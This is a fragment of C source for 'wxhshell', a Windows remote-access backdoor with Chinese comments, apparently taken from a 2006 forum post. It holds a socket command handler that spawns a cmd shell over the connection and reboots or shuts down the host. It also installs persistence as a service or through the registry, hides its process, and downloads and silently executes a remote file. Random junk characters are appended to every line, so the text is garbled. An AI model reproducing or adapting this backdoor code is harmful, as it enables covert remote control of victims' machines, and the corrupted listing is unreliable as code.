    switch(cmd[0]) { It'hmwu#  
  #~?Q?"  
  // 帮助 YVt#( jl  
  case '?': { @s!9 T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kn3qq  
    break; {N1Ss|6  
  } wuE]ju<  
  // 安装 fy04/_,q  
  case 'i': { D>M a3g  
    if(Install()) e^kccz2f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4DI.R K9  
    else RG/M-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <,p|3p3  
    break; *O-1zIlp  
    } bOjvrg;Sz\  
  // 卸载 *KNj5>6=  
  case 'r': { o`S|  
    if(Uninstall()) UwOZBF<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,zrr&Po  
    else yoa"21E$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vaL+@Kq~&  
    break; (dD+?ZOO  
    } #(& ! ^X3  
  // 显示 wxhshell 所在路径 usEd p  
  case 'p': { gQaBQq9  
    char svExeFile[MAX_PATH]; A6ipA /_  
    strcpy(svExeFile,"\n\r"); P5s'cPX  
      strcat(svExeFile,ExeFile); J'^H@L/E  
        send(wsh,svExeFile,strlen(svExeFile),0); "?EoYF_  
    break; 5=%:CN!/@p  
    } ixF '-  
  // 重启 +F3@-A  
  case 'b': { (t'hWS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `|K30hRp:  
    if(Boot(REBOOT)) JU+Uzp   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQB;a?)o  
    else { 2RXU75VY  
    closesocket(wsh); C9zQ{G  
    ExitThread(0);  O\y #|=d  
    } :0 G "EM4  
    break; %!%G\nv  
    } \GYh"5  
  // 关机 (|%YyRaX  
  case 'd': { = Q|_v}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u&Q2/Y  
    if(Boot(SHUTDOWN)) ol]"r5#Q_H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v`3q0,,  
    else { ~EJVlj i  
    closesocket(wsh); ufF$7@(+  
    ExitThread(0); OZ 4uk.)  
    } S <~"\<ED  
    break; X,VOKj.%  
    } '>dsROB->  
  // 获取shell 3vRRL  
  case 's': { |9>?{ B\a  
    CmdShell(wsh); P 1`X<A  
    closesocket(wsh); z5G<h  
    ExitThread(0); <)n8lIK  
    break; # \9sCnb  
  } #T<<{ RA  
  // 退出 S1oRMd)r  
  case 'x': { sLiKcR8^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ',GWH:B  
    CloseIt(wsh); Z)E[Bv=  
    break; 6 ,jp-`  
    } RbB y8ZVM  
  // 离开 Zp'c>ty=  
  case 'q': { [ySO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j2O?]M  
    closesocket(wsh); 9x;CJhX  
    WSACleanup(); EfA*w/y  
    exit(1); dx['7l;I  
    break; <Stfqa6FJ  
        } dIk/vg  
  } ;Zfglid  
  } 4+&4  
Q/[|/uNw?  
  // 提示信息 &w\E*$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I2G4j/c=z  
} ^8dd  
  } !Ld0c4  
Hc.r/  
  return; pzcV[E1  
} L ;5R*)t  
q{D_p[q  
// shell模块句柄 "fWAp*nI3t  
int CmdShell(SOCKET sock) `I*W}5  
{ /)I:C z/f  
STARTUPINFO si; &"!s+_  
ZeroMemory(&si,sizeof(si)); 'r`#u@TTZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [@ExR*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #$q~ZKB  
PROCESS_INFORMATION ProcessInfo; 1=LI))nV  
char cmdline[]="cmd"; TAfLC)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G#{ Xd6L  
  return 0; ",wv*z)_>  
} . ] =$((  
@0}Q"15,I  
// 自身启动模式 ]|NwC <  
int StartFromService(void) ho*44=j  
{ TI '(  
typedef struct ;-SFK+)R"  
{ vrVb/hhG  
  DWORD ExitStatus; WjfUbKg0  
  DWORD PebBaseAddress; r![RRa^  
  DWORD AffinityMask; j2GO ZKy  
  DWORD BasePriority; J:6wFmU  
  ULONG UniqueProcessId; bb<qnB  
  ULONG InheritedFromUniqueProcessId; N}`.N  
}   PROCESS_BASIC_INFORMATION; j ys1Ki  
s$g"6;_\  
PROCNTQSIP NtQueryInformationProcess; h<KE)^).  
U)IW6)q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9+'QH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  t~mbe  
L,!3  
  HANDLE             hProcess; Jpi\n- d!  
  PROCESS_BASIC_INFORMATION pbi; "[ f"h  
n _G< /8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `fw:   
  if(NULL == hInst ) return 0; #"tHT<8u  
vZEeb j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e[txJ*SuO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qmzg68  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5sbMp;ZM  
S`,(10Y  
  if (!NtQueryInformationProcess) return 0; }e}J6 [wP  
wc #+ Yh6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dz^l6<a"n  
  if(!hProcess) return 0; HsA4NRF'7  
4F_*,_Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EL_rh TWw  
88fH !6b  
  CloseHandle(hProcess); jJ^p ?  
*5( h,s3&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =-#>NlB$w  
if(hProcess==NULL) return 0; eow6{CD8  
WfbG }%&J  
HMODULE hMod; :W'Yt9v)  
char procName[255]; MB$K ?"Y  
unsigned long cbNeeded; :f^ =~#!  
oj.f uJD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2qEm,x'S  
o(~QuHOp8>  
  CloseHandle(hProcess); q,k/@@Qd9  
qTM,'7Rwn  
if(strstr(procName,"services")) return 1; // 以服务启动 KPGo*mY  
SrMg=a  
  return 0; // 注册表启动 BMlnzi  
} Lf+M +^l  
md`PRZzj@  
// 主模块 0(A(Vb5J.T  
int StartWxhshell(LPSTR lpCmdLine) Jv  
{ 0!v+ +  
  SOCKET wsl; lq2P10j@  
BOOL val=TRUE; b!W!Vvf^x  
  int port=0; #]nH$Kq  
  struct sockaddr_in door; `<I+(8]Uz  
7CfHL;+m<4  
  if(wscfg.ws_autoins) Install(); O`2;n.>\  
wLeP;u1  
port=atoi(lpCmdLine); 8l(_{Y5(-  
Gc=#  
if(port<=0) port=wscfg.ws_port; .ztO._J7f  
y8T%g(  
  WSADATA data; m`(5B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [a~|{~?8  
(rfU=E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _jmkAmeu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?m3,e&pB5  
  door.sin_family = AF_INET; 8BnI0l=\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jkd'2  
  door.sin_port = htons(port); ^8S'=Bk  
n(-1vN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UEeD Nl$^u  
closesocket(wsl); ?`PG`|2~  
return 1; CBC0X}_`  
} r|rOIAo  
qaK9E@l  
  if(listen(wsl,2) == INVALID_SOCKET) { BU|=`Kb|))  
closesocket(wsl); ?#|Y'%a"  
return 1; iU^KmM I  
} DgOO\  
  Wxhshell(wsl); b/N+X}VMN  
  WSACleanup(); 'F[m,[T%x  
%";bgU2Q  
return 0; >"qnuv G  
I$@0FSl  
} \$o5$/oU(  
c]]OV7;)>  
// 以NT服务方式启动 8r@_b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <uUHr,#  
{ wfH#E2+pk  
DWORD   status = 0; 9pN},F91n:  
  DWORD   specificError = 0xfffffff; `]L&2RS  
69)- )en  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )l}Gwd]h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8^26g 3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PPiN`GM  
  serviceStatus.dwWin32ExitCode     = 0; }EB/18  
  serviceStatus.dwServiceSpecificExitCode = 0; sqkk 4w1#C  
  serviceStatus.dwCheckPoint       = 0; uveby:dh  
  serviceStatus.dwWaitHint       = 0; U_ j\UQC  
/]~Oa#SQ:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0zD[mt  
  if (hServiceStatusHandle==0) return; RY=B>398:  
XW]'by  
status = GetLastError(); $RxS<_tj  
  if (status!=NO_ERROR) &6-udZB-  
{ @ i $jyc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +{ Q]$b  
    serviceStatus.dwCheckPoint       = 0; @.Pd3CB0  
    serviceStatus.dwWaitHint       = 0; zTODV<-`  
    serviceStatus.dwWin32ExitCode     = status; #.|ef dsG  
    serviceStatus.dwServiceSpecificExitCode = specificError; m22FOjk\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0fhz7\a^_<  
    return; E<u6 js,  
  } I^h^QeBis  
Gh3b*O_,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d>j`|(\  
  serviceStatus.dwCheckPoint       = 0; :q_(=EA  
  serviceStatus.dwWaitHint       = 0; eH.~c3o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9sQ7wlK  
} J[6`$$l0  
Ke0j8|  
// 处理NT服务事件,比如:启动、停止 :77dl/d%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]"Y? ZS;H  
{ G:'hT=8  
switch(fdwControl) xVOoYr>O  
{ IKT3T_\-I  
case SERVICE_CONTROL_STOP: $n |)M+d  
  serviceStatus.dwWin32ExitCode = 0; |X:"AH"S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r+6=b"  
  serviceStatus.dwCheckPoint   = 0; B%P g:|  
  serviceStatus.dwWaitHint     = 0; V^9c:!aI  
  { Z(F`M;1>xI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JHN{vB  
  } XcfvmlBoD-  
  return; 8G&'ED_&  
case SERVICE_CONTROL_PAUSE: 7[=MgnmuC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jQDXl  
  break; .xnJT2uu'  
case SERVICE_CONTROL_CONTINUE: }=.:bwX5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bp #:sAG  
  break; Li[ :L  
case SERVICE_CONTROL_INTERROGATE: 9"T&P_   
  break; VKI`@rY4  
}; mUFg(;ya  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `;?`XC"m  
} WvV!F?uqZ  
%Z T@&  
// 标准应用程序主函数 8_yhV{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W dM?{; #  
{ H{ Fww4pn  
^! ?wh  
// 获取操作系统版本 ma__LWKM,  
OsIsNt=GetOsVer(); QtM9G@%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;- ~}g7$  
N@Fof(T&  
  // 从命令行安装 OAGI|`E$/-  
  if(strpbrk(lpCmdLine,"iI")) Install(); C !a#M{:  
-+9,RtHR7  
  // 下载执行文件 AmSrc.  
if(wscfg.ws_downexe) { ^*!Tq&Dst|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {<f |h)r  
  WinExec(wscfg.ws_filenam,SW_HIDE); QU&LC  
} >"}z % #  
i@Vi.oc4[  
if(!OsIsNt) { F#<$yUf%  
// 如果时win9x,隐藏进程并且设置为注册表启动 14U:.Q  
HideProc(); P*9vs%W  
StartWxhshell(lpCmdLine); puE!7 :X7  
} 'JA<q-Gn  
else ZboY]1L[j  
  if(StartFromService()) VZ69s{/.B  
  // 以服务方式启动 PcxCal4  
  StartServiceCtrlDispatcher(DispatchTable); >M`ryM2=D  
else yL ?dC"c  
  // 普通方式启动 G a1B&@T  
  StartWxhshell(lpCmdLine); 9c `Vrlu  
>ZX&2 {  
return 0; 2h:*lV^  
}
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只看该作者 1 发表于: 2006-10-10
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